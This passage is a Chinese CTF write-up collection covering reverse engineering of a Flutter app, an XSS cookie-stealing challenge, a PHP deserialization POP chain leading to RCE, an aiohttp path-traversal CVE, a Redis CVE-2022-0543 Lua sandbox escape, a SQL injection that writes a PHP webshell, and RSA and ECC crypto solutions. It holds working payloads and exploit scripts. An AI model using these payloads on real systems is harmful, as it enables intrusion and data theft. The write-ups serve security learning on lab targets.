_ check(/* No info */) {** addr: 0x2d50c0, size: 0x740x2d50c0: EnterFrame0x2d50c0: stp fp, lr, [SP, #-0x10]!0x2d50c4: mov fp, SP0x2d50c8: AllocStack(0x10)0x2d50c8: sub SP, SP, #0x100x2d50cc: CheckStackOverflow0x2d50cc: ldr x16, [THR, #0x38] ; THR::stack_limit0x2d50d0: cmp SP, x160x2d50d4: b.ls #0x2d512c0x2d50d8: ldr x0, [fp, #0x18]0x2d50dc: LoadField: r1 = r0->field_1b0x2d50dc: ldur w1, [x0, #0x1b]0x2d50e0: DecompressPointer r10x2d50e0: add x1, x1, HEAP, lsl #320x2d50e4: r0 = LoadClassIdInstr(r1)0x2d50e4: ldur x0, [x1, #-1]0x2d50e8: ubfx x0, x0, #0xc, #0x140x2d50ec: ldr x16, [fp, #0x10]0x2d50f0: stp x16, x1, [SP]0x2d50f4: mov lr, x00x2d50f8: ldr lr, [x21, lr, lsl #3]0x2d50fc: blr lr0x2d5100: tbnz w0, #4, #0x2d51180x2d5104: r0 = "Right"0x2d5104: add x0, PP, #0xc, lsl #12 ; [pp+0xc1f0] "Right"0x2d5108: ldr x0, [x0, #0x1f0]0x2d510c: LeaveFrame0x2d510c: mov SP, fp0x2d5110: ldp fp, lr, [SP], #0x100x2d5114: ret0x2d5114: ret0x2d5118: r0 = "wrong"0x2d5118: add x0, PP, #0xc, lsl #12 ; [pp+0xc1f8] "wrong"0x2d511c: ldr x0, [x0, #0x1f8]0x2d5120: LeaveFrame0x2d5120: mov SP, fp0x2d5124: ldp fp, lr, [SP], #0x100x2d5128: ret0x2d5128: ret0x2d512c: r0 = StackOverflowSharedWithoutFPURegs()0x2d512c: bl #0x4cf3ec ; StackOverflowSharedWithoutFPURegsStub0x2d5130: b #0x2d50d8}
汇编难以阅读逻辑,在 IDA 里函数列表搜索 check
,发现了: ohn_flutter_EditView_MyEditTextState::check_2d50c0@<X0>
明显是刚刚的 check
函数,交叉引用溯源找到主逻辑得到 ohn_flutter_EditView_MyEditTextState::_anon_closure_2d4f08
c
__int64 __usercall ohn_flutter_EditView_MyEditTextState::_anon_closure_2d4f08@<X0>(__int64 a1@<X2>,__int64 a2@<X3>,__int64 a3@<X4>,__int64 a4@<X5>,__int64 a5@<X6>,__int64 a6@<X7>,__int64 a7@<X8>)
{__int64 v7; // x15__int64 v8; // x22__int64 v9; // x26_QWORD *v10; // x27unsigned __int64 v11; // x28__int64 v12; // x29__int64 v13; // x30__int64 v14; // x29_QWORD *v15; // x15__int64 v16; // x0__int64 v17; // x1__int64 v18; // x0__int64 v19; // x2__int64 KeyStub_2fe3bc; // x0_QWORD *v21; // x15__int64 v22; // x0_QWORD *v23; // x15__int64 IVStub_2fe1b8; // x0_QWORD *v25; // x15__int64 v26; // x0__int64 AESStub_2fe1ac; // x0_QWORD *v28; // x15__int64 v29; // x0__int64 EncrypterStub_2d5468; // x0_QWORD *v31; // x15__int64 v32; // x0__int64 *v33; // x15__int64 base64; // x0__int64 v35; // x16__int64 *v36; // x15__int64 v37; // x1__int64 v38; // x2__int64 v39; // x3__int64 v40; // x4__int64 v41; // x5__int64 v42; // x6__int64 v43; // x7__int64 v44; // x8__int64 v45; // x0_QWORD *v46; // x15__int64 v47; // x1__int64 v48; // x0*(_QWORD *)(v7 - 16) = v12;*(_QWORD *)(v7 - 8) = v13;v14 = v7 - 16;v15 = (_QWORD *)(v7 - 80);v16 = *(_QWORD *)(v14 + 16);v17 = *(unsigned int *)(v16 + 23) + (v11 << 32);if ( (unsigned __int64)v15 <= *(_QWORD *)(v9 + 56) )StackOverflowSharedWithoutFPURegsStub_4cf3ec(v16, v17, a1, a2, a3, a4, a5, a6, a7);v18 = *(unsigned int *)(v17 + 15) + (v11 << 32);v19 = *(unsigned int *)(v17 + 11) + (v11 << 32);*(_QWORD *)(v14 - 8) = v19;*v15 = *(unsigned int *)((char *)&dword_14 + *(unsigned int *)(v19 + 15) + (v11 << 32) + 3) + (v11 << 32);v15[1] = v18;*(_QWORD *)(v14 - 16) = ohn_flutter_doi_::jumppp_2fe3c8();KeyStub_2fe3bc = AllocateKeyStub_2fe3bc();*(_QWORD *)(v14 - 24) = KeyStub_2fe3bc;*v21 = v10[6202];v21[1] = KeyStub_2fe3bc;v22 = encrypt_encrypt_Encrypted::ctor_fromUtf8_2fe1c4();*v23 = v10[6203];*(_QWORD *)(v14 - 32) = dart_core_Object::toString_3421e0(v22);IVStub_2fe1b8 = AllocateIVStub_2fe1b8();*(_QWORD *)(v14 - 40) = IVStub_2fe1b8;*v25 = *(_QWORD *)(v14 - 32);v25[1] = IVStub_2fe1b8;v26 = encrypt_encrypt_Encrypted::ctor_fromUtf8_2fe1c4();AESStub_2fe1ac = AllocateAESStub_2fe1ac(v26);*(_QWORD *)(v14 - 32) = AESStub_2fe1ac;*v28 = *(_QWORD *)(v14 - 24);v28[1] = AESStub_2fe1ac;v29 = encrypt_encrypt_AES::ctor_2d5474();EncrypterStub_2d5468 = AllocateEncrypterStub_2d5468(v29);*(_DWORD *)(EncrypterStub_2d5468 + 7) = *(_QWORD *)(v14 - 32);v31[1] = *(_QWORD *)(v14 - 16);v31[2] = EncrypterStub_2d5468;*v31 = *(_QWORD *)(v14 - 40);v32 = encrypt_encrypt_Encrypter::encrypt_2d51f0();*(_QWORD *)(v14 - 16) = *(unsigned int *)(*(_QWORD *)(v14 - 8) + 15LL) + (v11 << 32);*v33 = v32;base64 = encrypt_encrypt_Encrypted::get_base64_2d5134();v35 = *(_QWORD *)(v14 - 16);*v36 = base64;v36[1] = v35;v45 = ohn_flutter_EditView_MyEditTextState::check_2d50c0(base64, v37, v38, v39, v40, v41, v42, v43, v44);v47 = *(_QWORD *)(v14 - 16);*(_DWORD *)(v47 + 19) = v45;if ( (*(unsigned __int8 *)(v45 - 1) & ((unsigned __int64)*(unsigned __int8 *)(v47 - 1) >> 2) & HIDWORD(v11)) != 0 )WriteBarrierWrappersStub_4cdd20();v48 = *(unsigned int *)((char *)&qword_18 + *(unsigned int *)(*(_QWORD *)(v14 - 8) + 15LL) + (v11 << 32) + 7)+ (v11 << 32);*v46 = v10[62];v46[1] = v48;flutter_src_widgets_editable_text_TextEditingController::text_assign_2d5054();return v8;
}
查看 ohn_flutter_doi_::jumppp_2fe3c8()
,里面的函数调用了 ohn_flutter_drink_drink::encrypt_2fe460
是一个单独加密
在 ohn_flutter_drink_drink::_encryptUint32List_2fe5ec
可以看到如下特征
c
v15 = 52
v19 = v15 / v17 + 6;LODWORD(v33) = v30
+ ((((*(__int64 *)(v13 - 72) >> 5) ^ (4 * v42)) + ((v42 >> 3) ^ (16 * *(_QWORD *)(v13 - 72)))) ^ ((*(_QWORD *)(v13 - 96) ^ v42) + (*(_DWORD *)(*(_QWORD *)(v13 + 16) + 4 * (*(_QWORD *)(v13 - 80) & 3LL ^ (unsigned int)*(_QWORD *)(v13 - 88)) + 23) ^ *(_QWORD *)(v13 - 72))));
一眼就发现是 XXTEA
查看 ohn_flutter_doi_::jumppp_2fe3c8
下面的逻辑
KeyStub_2fe3bc
IVStub_2fe1b8
``AESStub_2fe1ac`
明显是 AES 加密特征
最后是 base64
和 check
c
__int64 __usercall ohn_flutter_EditView_MyEditTextState::check_2d50c0@<X0>(__int64 a1@<X0>,__int64 a2@<X1>,__int64 a3@<X2>,__int64 a4@<X3>,__int64 a5@<X4>,__int64 a6@<X5>,__int64 a7@<X6>,__int64 a8@<X7>,__int64 a9@<X8>)
{__int64 v9; // x15__int64 v10; // x21__int64 v11; // x26__int64 v12; // x27__int64 v13; // x28__int64 v14; // x29__int64 v15; // x30__int64 v16; // x29_QWORD *v17; // x15__int64 v18; // x1__int64 v19; // x0*(_QWORD *)(v9 - 16) = v14;*(_QWORD *)(v9 - 8) = v15;v16 = v9 - 16;v17 = (_QWORD *)(v9 - 32);if ( (unsigned __int64)v17 <= *(_QWORD *)(v11 + 56) )StackOverflowSharedWithoutFPURegsStub_4cf3ec(a1, a2, a3, a4, a5, a6, a7, a8, a9);v18 = *(unsigned int *)(*(_QWORD *)(v16 + 24) + 27LL) + (v13 << 32);v19 = (unsigned int)*(_QWORD *)(v18 - 1) >> 12;*v17 = *(_QWORD *)(v16 + 16);v17[1] = v18;if ( ((*(__int64 (**)(void))(v10 + 8 * v19))() & 0x10) != 0 )return *(_QWORD *)(v12 + 49656);elsereturn
``check` 函数里的判断函数没办法直接查看需要动调,同时其他加密的密钥和 IV 也无法直接得到。
在 ohn_flutter_EditView_MyEditTextState::_anon_closure_2d4f08
函数开头下断点,然后用 IDA 单步调试在判断处拿到密文,Key 和 IV 都可以轻易拿到,XXTEA 的 Key 在那个加密的特征处(进行 &3
运算的附近)也可以拿到
c
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
typedef unsigned int uint32_t;
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
// 容易魔改
void btea(uint32_t * v, int n, uint32_t const key[4]) {
// v 为数据,n 为数据长度 (负时为解密),key 为密钥uint32_t y, z, sum; unsigned p, rounds, e;if (n > 1)/* Coding Part */{rounds = 6 + 52 / n;sum = 0;z = v[n - 1];do {sum += DELTA;e = (sum >> 2) & 3;for (p = 0; p < n - 1; p++) {y = v[p + 1];z = v[p] += MX;}y = v[0];z = v[n - 1] += MX;} while (-- rounds );} else if (n < -1)/* Decoding Part */{n = -n;rounds = 6 + 52 / n;sum = rounds * DELTA;y = v[0];do {e = (sum >> 2) & 3;for (p = n - 1; p > 0; p--) {z = v[p - 1];y = v[p] -= MX;}z = v[n - 1];y = v[0] -= MX;sum -= DELTA;} while (-- rounds );}
}// base64 加密
char base64[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void encodeBase64(char* str,int len,char** in){// 读取 3 个字节 zxc,转换为二进制 01111010 01111000 01100011// 转换为 4 个 6 位字节,011110 100111 100001 100011// 不足 8 位在前补 0,变成 00011110 00100111 00100001 00100011// 若剩余的字节数不足以构成 4 个字节,补等号int encodeStrLen = 1 + (len/3)*4 ,k=0;encodeStrLen += len%3 ? 4 : 0;char* encodeStr = (char*)(malloc(sizeof(char)*encodeStrLen));for(int i=0;i<len;i++){if(len - i >= 3){encodeStr[k++] = base64[(unsigned char)str[i]>>2];encodeStr[k++] = base64[((unsigned char)str[i]&0x03)<<4 | (unsigned char)str[++i]>>4];encodeStr[k++] = base64[((unsigned char)str[i]&0x0f)<<2 | (unsigned char)str[++i]>>6];encodeStr[k++] = base64[(unsigned char)str[i]&0x3f];}else if(len-i == 2){encodeStr[k++] = base64[(unsigned char)str[i] >> 2];encodeStr[k++] = base64[((unsigned char)str[i]&0x03) << 4 | ((unsigned char)str[++i] >> 4)];encodeStr[k++] = base64[((unsigned char)str[i]&0x0f) << 2];encodeStr[k++] = '=';}else{encodeStr[k++] = base64[(unsigned char)str[i] >> 2];encodeStr[k++] = base64[((unsigned char)str[i] & 0x03) << 4]; // 末尾补两个等于号encodeStr[k++] = '=';encodeStr[k++] = '=';}}encodeStr[k] = '\0';*in = encodeStr;
}/*** 解码既编码的逆过程,先找出编码后的字符在编码之前代表的数字* 编码中将 3 位个字符变成 4 个字符,得到这 4 个字符的每个字符代表的原本数字* 因为在编码中间每个字符用 base64 码表进行了替换,所以这里要先换回来* 在对换回来的数字进行位运算使其还原成 3 个字符*/
void decodeBase64(char* str,int len,char** in){char ascill[129];int k = 0;for(int i=0;i<64;i++){ascill[base64[i]] = k++;}int decodeStrlen = len / 4 * 3 + 1;char* decodeStr = (char*)malloc(sizeof(char)*decodeStrlen);k = 0;for(int i=0;i<len;i++){decodeStr[k++] = (ascill[str[i]] << 2) | (ascill[str[++i]] >> 4);if(str[i+1] == '='){break;}decodeStr[k++] = (ascill[str[i]] << 4) | (ascill[str[++i]] >> 2);if(str[i+1] == '='){break;}decodeStr[k++] = (ascill[str[i]] << 6) | (ascill[str[++i]]);}decodeStr[k] = '\0';*in = decodeStr;
}int main(){
// 本题需要使用 blutter 析 so 文件,具体教程可以百度
// 密文在 Java 层 "/oIHOyDg6s6yqVd26AnYJ6u2YjPcMhawTe93+AJPAUiwGZM4KWvXjsib1tcnZHSnglaaVpbcOaTtNoMCr5od2A=="
// Key 和 IV 都很容易得到,拿去 AES 解密char mm[]="v9JIAiQs2XJBl49MyDo4dEMac6RvSLxy+YKcj6OdvpcQB3pt";
char *mm1;
char *mm2;decodeBase64(mm,strlen(mm),&mm2);
// 动调出key
char key[]="ohn_flutterkkkkk";
// XXTEA解密
// -(strlen(mm)/4*3/4) 是根据 base64 的长度计算 mm2 的真实长度再取反,取反代表解密模式
btea((uint32_t*)mm2,-(strlen(mm)/4*3/4),(uint32_t*)key);
puts(mm2);
}
上面代码中提到的 AES 解密,可参见 CyberChef Recipe.
Ans: flag{U_@r4_F1u774r_r4_m@ster}
PangBai 过家家(5)
本题已开源,关于题目源码和 EXP,详见:cnily03-hive/PangBai-XSS
这是一题 XSS 题。XSS 题目的典型就是有一个 Bot,flag 通常就在这个 Bot 的 Cookie 里面。
XSS 的全称是跨站脚本攻击,存在这种攻击方式的原因是,用户访问到的网页内容并不是服务端期望的那样,可能存在恶意的代码。例如,你点击一个网页链接,但是它却执行了攻击者的前端 JavaScript 代码,将你的登录凭据、隐私信息发送给攻击者。在 XSS 题中,Bot 就承担这个受害者用户。
题目有一个发件的路由,还有一个查看信件的路由,以及一个「提醒 PangBai」的按钮,这个按钮实际就是让 Bot 访问查看当前信件的路由。
我们要做的就是找到一处能够展示我们的输入的地方,想办法使内容展示之后,浏览器能够执行我们恶意的 JavaScript 代码。这样,如果让 Bot 去访问这个 URL,恶意代码就会在 Bot 的浏览器执行,我们的恶意代码可以执行获取 Cookie 等操作。
从 bot.ts
可见,FLAG 在 Cookie 中:
typescript
await page.setCookie({name: 'FLAG',value: process.env['FLAG'] || 'flag{test_flag}',httpOnly: false,path: '/',domain: 'localhost:3000',sameSite: 'Strict'
});
我们直接输入 <script>alert(1)</script>
做测试,访问查看信件的界面,查看源码,发现输入被过滤了。
跟踪附件中的后端源码,page.ts
中的 /box/:id
路由,会渲染我们的输入:
typescript
router.get('/box/:id', async (ctx, next) => {const letter = Memory.get(ctx.params['id'])await ctx.render('letter', <TmplProps>{page_title: 'PangBai 过家家 (5)',sub_title: '查看信件',id: ctx.params['id'],hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],data: letter ? {title: safe_html(letter.title),content: safe_html(letter.content)} : { title: TITLE_EMPTY, content: CONTENT_EMPTY },error: letter ? null : '找不到该信件'})
})
但是输入的内容都经过了 safe_html
过滤
typescript
function safe_html(str: string) {return str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '')
}
可见这只是一个正则替换,正则中各个标志的作用:
i
标志:忽略大小写g
标志:全局匹配,找到所有符合条件的内容m
标志:多行匹配,每次匹配时按行进行匹配,而不是对整个字符串进行匹配(与之对应的是s
标志,表示单行模式,将换行符看作字符串中的普通字符)
由于 m
的存在,匹配开始为行首,匹配结束为行尾,因此我们只需要把 <
和 >
放在不同行即可,例如:
javascript
<script
>alert(1)</script
>
此时我们就能执行恶意代码了。直接使用 document.cookie
即可获取到 Bot 的 Cookie。 拿到 Cookie 之后,怎么回显呢?如果题目靶机是出网的,可以发送到自己的服务器上面;但是题目靶机并不出网,这时可以写一个 JavaScript 代码,模拟用户操作,将 Cookie 作为一个信件的内容提交(让 Bot 写信),这样我们就能查看到了。例如:
javascript
<script
>
fetch('/api/send', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>
注意
fetch
中的请求路径可以是相对路径、绝对路径等,因此上面忽略了 Origin,如果显示指定,必须和当前的 Origin 一样,否则存在跨域问题。从 bot.ts 中可以看到 Bot 访问的是 http://localhost:3000
,因此使用 http://127.0.0.1:3000
是不行的。
把 Payload 提交之后,如果手动查看信件并点击「提醒 PangBai」,会触发两次 Payload,一次是你自己查看信件时触发的,一次是 Bot 触发的。
提交并「提醒 PangBai」之后,稍等一会,查看信箱,就可以看到内容了。
臭皮吹泡泡
php
<?php
error_reporting(0);
highlight_file(__FILE__);class study
{public $study;public function __destruct(){if ($this->study == "happy") {echo ($this->study);}}
}
class ctf
{public $ctf;public function __tostring(){if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1);return "can can need";}
}
class let_me
{public $let_me;public $time;public function get_flag(){$runcode="<?php #".$this->let_me."?>";$tmpfile="code.php";try {file_put_contents($tmpfile,$runcode);echo ("we need more".$this->time);unlink($tmpfile);}catch (Exception $e){return "no!";}}public function __destruct(){echo "study ctf let me happy";}
}class happy
{public $sign_in;public function __wakeup(){$str = "sign in ".$this->sign_in." here";return $str;}
}$signin = $_GET['new_star[ctf'];
if ($signin) {$signin = base64_decode($signin);unserialize($signin);
}else{echo "你是真正的 CTF New Star 吗?让我看看你的能力";
}
在参数传递时,[
是非法变量名,会被 PHP 处理成 _
,这导致我们无法直接传递想要的参数 new_star[ctf
.
然而,php 这样的处理只会处理一次,在首次处理后不会继续处理随后的违规字符。
因此,当我们传递的参数是 new[star[ctf
的时候,php 会处理成 new_star[ctf
,这样就成功传递了参数。
构建 POP 链的终点是 let_me
的 get_flag()
函数,这里可以进行文件写入。
php
$runcode = "<?php #". $this->let_me . "?>";
$tmpfile = "code.php";
try {file_put_contents($tmpfile, $runcode); echo ("we need more" . $this->time);unlink($tmpfile);
} catch (Exception $e) {return "no!";
}
文件前后添加了字符 <?php #
和 ?>
,这会把我们写入的 php 代码注释掉,导致不能正常执行。
这里我们可以闭合 php 符号,从而执行 php 代码。
php
<?php # ?> <?php echo("1");?>
这里我们将代码写入文件就会被立刻删除,所以我们需要找一个办法,使得文件存在的时间长一点。注意到:
php
public $ctf;
public function __tostring()
{if ($this->ctf === "phpinfo") {die("u can't do this!!!!!!!");}($this->ctf)(1); return "can can need";
}
这里可以构造一个 sleep(1)
,使得文件存在的时间增加 1 秒,这样就可以完成条件竞争。
出完题目发现可以直接使用 die(1)
,这样可以直接使得文件不会被删除就退出。
构造脚本如下:
php
<?php
error_reporting(0);
class study {public $study;
}
class ctf {public $ctf;
}
class let_me {public $let_me;public $time;
}class happy {public $sign_in;
}
$payload = new happy();
$payload ->sign_in = new ctf();
$exp = new let_me();
$exp->let_me="?> <?php phpinfo();";
$exp->time=new ctf();
$exp->time->ctf="sleep";
$payload ->sign_in->ctf = array($exp,"get_flag");
echo base64_encode(serialize($payload));
?>
发包后快速访问我们写入的 code.php
,完成 RCE(或者写一个脚本访问,或者 BurpSuite 爆破)
臭皮的网站
F12 可以看到有一串 Base64 的字符串。
解码可以知道这个网站是 aiohttp 框架的,网上搜一搜相关的 CVE,了解到 CVE-2024-23334.
存在任意文件读取:
可以读取到源代码如下:
python
import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1adminname = "admin"def CreteKey():key_bytes = secrets.token_bytes(32)key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')return key_strdef authenticate(username, password):if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):return Trueelse:return Falseasync def middleware(app, handler):async def middleware_handler(request):try:response = await handler(request)response.headers['Server'] = 'nginx/114.5.14'return responseexcept web.HTTPNotFound:response = await handler_404(request)response.headers['Server'] = 'nginx/114.5.14'return responseexcept Exception:response = await handler_500(request)response.headers['Server'] = 'nginx/114.5.14'return responsereturn middleware_handlerasync def handler_404(request):return web.FileResponse('./template/404.html', status=404)async def handler_500(request):return web.FileResponse('./template/500.html', status=500)async def index(request):return web.FileResponse('./template/index.html')async def login(request):data = await request.post()username = data['username']password = data['password']if authenticate(username, password):session = await get_session(request)session['user'] = 'admin'response = web.HTTPFound('/home')response.session = sessionreturn responseelse:return web.Response(text="账号或密码错误哦", status=200)async def home(request):session = await get_session(request)user = session.get('user')if user == 'admin':return web.FileResponse('./template/home.html')else:return web.HTTPFound('/')async def upload(request):session = await get_session(request)user = session.get('user')if user == 'admin':reader = await request.multipart()file = await reader.next()if file:filename = './static/' + file.filenamewith open(filename,'wb') as f:while True:chunk = await file.read_chunk()if not chunk:breakf.write(chunk)return web.HTTPFound("/list")else:response = web.HTTPFound('/home')return responseelse:return web.HTTPFound('/')async def ListFile(request):session = await get_session(request)user = session.get('user')command = "ls ./static"if user == 'admin':result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)files_list = result.stdoutreturn web.Response(text="static目录下存在文件\n"+files_list)else:return web.HTTPFound('/')async def init_app():app = web.Application()app.router.add_static('/static/', './static', follow_symlinks=True)session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))app.middlewares.append(middleware)app.router.add_route('GET', '/', index)app.router.add_route('POST', '/', login)app.router.add_route('GET', '/home', home)app.router.add_route('POST', '/upload', upload)app.router.add_route('GET', '/list', ListFile)return appweb.run_app(init_app(), host='0.0.0.0', port=80)
这里 admin
密码使用了随机数,然而随机数的 randseed
设置如下,random.seed(uuid.getnode())
.
这里种子是固定值,即 MAC 地址,我们可以通过文件读取获取这个种子。
得到种子之后,可以预测 rand
的值。
python
import random
import string
random.seed(0x0242ac11000f)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))
要注意的是,这里的密码每一次调用比较,就会重新调用一次这个表达式,得到的值是不一样的,建议直接重启靶机之后做这个题目。
登陆上去可以上传文件。
这里代码会把文件上传到 static
下,然后再 /list
路由下会调用 ls
,可以看到自己 /static
下的文件。
但是这里存在任意文件上传,如果我们上传一个恶意的 ls
文件,然后访问 ls
,触发这个恶意文件。
上传的 ls
文件内容如下:
这样访问 list
就会触发这个恶意的 ls
.
得到 flag 名字,直接读取或者继续污染一次 ls
即可。
Ez_redis
考了个 Redis 命令执⾏以及其历史漏洞
在这里其实给出了示例,结合题目不难发现就是个 Redis 语法
如果你有信息收集意识的话还会发现有源码泄露,访问 /www.zip
即可
关键点在:
php
<?php
if(isset($_POST['eval'])){$cmd = $_POST['eval'];if(preg_match("/set|php/i", $cmd)){$cmd = 'return "u are not newstar";';}$example = new Redis();$example->connect($REDIS_HOST);$result = json_encode($example->eval($cmd));echo '<h1 class="subtitle">结果</h1>';echo "<pre>$result</pre>";
}
?>
搜索 Redis 常⽤利⽤⽅法,发现如果过滤了 set
php
,那么我们很难通过写 webshell,写⼊计划任务、主从复制来进行 getshell
于是我们搜索⼀下 Redis 5 的历史漏洞
发现 CVE-2022-0543 值得⼀试: Redis Lua 沙盒绕过命令执行(CVE-2022-0543)
于是我们得到了⼀个 payload:
lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
由于我们⽹站执⾏的是 redis 命令
于是去掉外⾯的 eval 即可
lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res
sqlshell
mysql 启动时,加了选项 --secure_file_priv=''
,这个的选项作用是允许 mysql 进行文件读写。
- 如果这个选项是
NULL
,说明不能进行文件读写 - 如果这个选项是指定的目录,说明只能对指定目录进行文件读写
- 如果这个选项是空字符串,也就是
''
,能对任意目录进行文件读写
程序运行时,执行了命令 chmod 777 /var/www/html
,作用是允许该目录被所有用户写入文件。
所以思路就是通过注入 SQL 语句,进行写文件,写一个木马到网站根目录(/var/www/html
)下即可。
python
import requestsurl = 'http://192.168.109.128:8889'payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#'res = requests.get(url,params={'student_name': payload})
res = requests.get(f'{url}/3.php', params={'1': 'system("cat /you_cannot_read_the_flag_directly");'})
print(res.text)
RSA? cmd5
题目信息
出题思路
RSA 的签名,往往是给接收方 B 确定发送方 A 的身份用的,但如果发送方用不安全的哈希算法来计算信息的信息摘要,那么有可能被中途的窃密者 C 利用而得到明文。
题目描述:
应该都了解 RSA 解密原理了吧?
Alice: 你把服务器密码用 RSA 加密给我发过来吧,记得带上签名.
Bob: 好麻烦,还要签名,算了,直接 MD5 签名一下就好了吧!
题目附件内容(点此展开):
解析
这里我们得到了 c、s、n、e,和平时的 RSA 不同,这里多了 s,让我们看看这个 s 是什么
python
def get_MD5(m0):import hashlibmd5_object = hashlib.md5(m0.encode()) # 创建 MD5 对象并对文本进行编码md5_result = md5_object.hexdigest() # 获取加密结果return md5_resultdef get_s(m0, d0, n0):hm0 = get_MD5(m0)hm1 = bytes_to_long(hm0.encode())s0 = pow(hm1, d0, n0)return s0
计算了 m0
的 MD5 为变量 hm0
,然后将变量 hm0
转成整数 hm1
进行计算
s=hm1dmodn
那么我们有 e,理解 RSA 解密原理
e⋅d≡1modφse≡(hm1d)e≡hm1d⋅e≡hm11+k⋅φ≡hm1modn=hm1
那么再结合题目名字和描述,去 cmd5.com 找 hm1
的结果:
m 为 adm0n12
计算 flag
python
flag = 'flag{th1s_1s_my_k3y:' + m + '0x' + hashlib.sha256(m.encode()).hexdigest() + '}'
EXP
python
from Crypto.Util.number import *
from gmpy2 import *s = 7270513885194445005322518350289419893608325839878215682947885852347014936106128407554345668066935779849573932055239642406851308417046145495939362638652861562381316163080735160853285303356461796079298817982074998651099375222398758502559657988024308504098238446594559605603104540325738607539729848183025647146
e = 65537
n = 118167767283404647838357773955032661171703847685597271116789633496884884504237966404005641401909577369476550625894333528860763752286157264860218284704704444830864099870199623580368198306940575628872723737071517733553706154898255520538220530675603850372384339470410704813339357637359108745206967929184573003377def get_flag(m0): # 请用这个函数来转m得到flagimport hashlibflag = 'flag{th1s_1s_my_k3y:' + m0 + '0x' + hashlib.sha256(m0.encode()).hexdigest() + '}'print(flag)hm_int = pow(s, e, n)
hm_str = long_to_bytes(hm_int).decode()
print(hm_str) # 86133884de98baada58a8c4de66e15b8m = 'adm0n12' # 通过 cmd5.com 查询到的结果
get_flag(m)
# flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}
神秘数字:
plaintext
33020419294068288558474507763458223726290143000598988310562749956226420170565399347815795
easy_ecc
由于 ECC 需要数论前置知识,这里很难一次讲解清楚,想要学习 ECC 的同学可以先补一下数论知识。但是对于这道题目不没有那么难,看一看下面两篇文章可以了:
- ECC 椭圆曲线密码算法加密过程详解
- ECC 椭圆曲线详解(含具体实例)
涉及加密解密的所有参数都已经给出,flag 只和 m 有关,而 m 的解密只涉及 ECC 的基本解密流程
m=c1−r⋅K=c1−r⋅k⋅G=c1−k⋅c2
这样就得到了 m,m 是一个点,x 坐标和 y 坐标分别是 m[0]
和 m[1]
,flag 前半和后半分别整除 x 和 y,然后拼接就能得到 flag
EXP:
python
from Crypto.Util.number import *p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097
E = EllipticCurve(GF(p),[a,b])c1 = E([10968743933204598092696133780775439201414778610710138014434989682840359444219, 50103014985350991132553587845849427708725164924911977563743169106436852927878 ])
c2 = E([16867464324078683910705186791465451317548022113044260821414766837123655851895, 35017929439600128416871870160299373917483006878637442291141472473285240957511 ])
cipher_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582
cipher_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569
m = c1 - k*c2x=m[0]
y=m[1]left = cipher_left // x
right = cipher_right // y
print(long_to_bytes(int(left))+long_to_bytes(int(right)))
没 e 也能玩
题目如下:
python
from Crypto.Util.number import *
from gmpy2 import *
from secret import flagp = getPrime(1024)
q = getPrime(1024)
d = inverse(65537,(p-1)*(q-1))
dp = d % (p-1)
dq = d % (q-1)
print(f'c={pow(bytes_to_long(flag),e,p*q)}')
print(f'p={p}')
print(f'q={q}')
print(f'dp={dp}')
print(f'dq={dq}')''''
c=312026920216195772014255984174463085443866592575942633449581804171108045852080517840578408476885673600123673447592477875543106559822653280458539889975125069364584140981069913341705738633426978886491359036285144974311751490792757751756044409664421663980721578870582548395096887840688928684149014816557276765747135567714257184475027270111822159712532338590457693333403200971556224662094381891648467959054115723744963414673861964744567056823925630723343002325605154661959863849738333074326769879861280895388423162444746726568892877802824353858845944856881876742211956986853244518521508714633279380808950337611574412909
p=108043725609186781791705090463399988837848128384507136697546885182257613493145758848215714322999196482303958182639388180063206708575175264502030010971971799850889123915580518613554382722069874295016841596099030496486069157061211091761273568631799006187376088457421848367280401857536410610375012371577177832001
q=121590551121540247114817509966135120751936084528211093275386628666641298457070126234836053337681325952068673362753408092990553364818851439157868686131416391201519794244659155411228907897025948436021990520853498462677797392855335364006924106615008646396883330251028071418465977013680888333091554558623089051503
dp=11282958604593959665264348980446305500804623200078838572989469798546944577064705030092746827389207634235443944672230537015008113180165395276742807804632116181385860873677969229460704569172318227491268503039531329141563655811632035522134920788501646372986281785901019732756566066694831838769040155501078857473
dq=46575357360806054039250786123714177813397065260787208532360436486982363496441528434309234218672688812437737096579970959403617066243685956461527617935564293219447837324227893212131933165188205281564552085623483305721400518031651417947568896538797580895484369480168587284879837144688420597737619751280559493857
'''
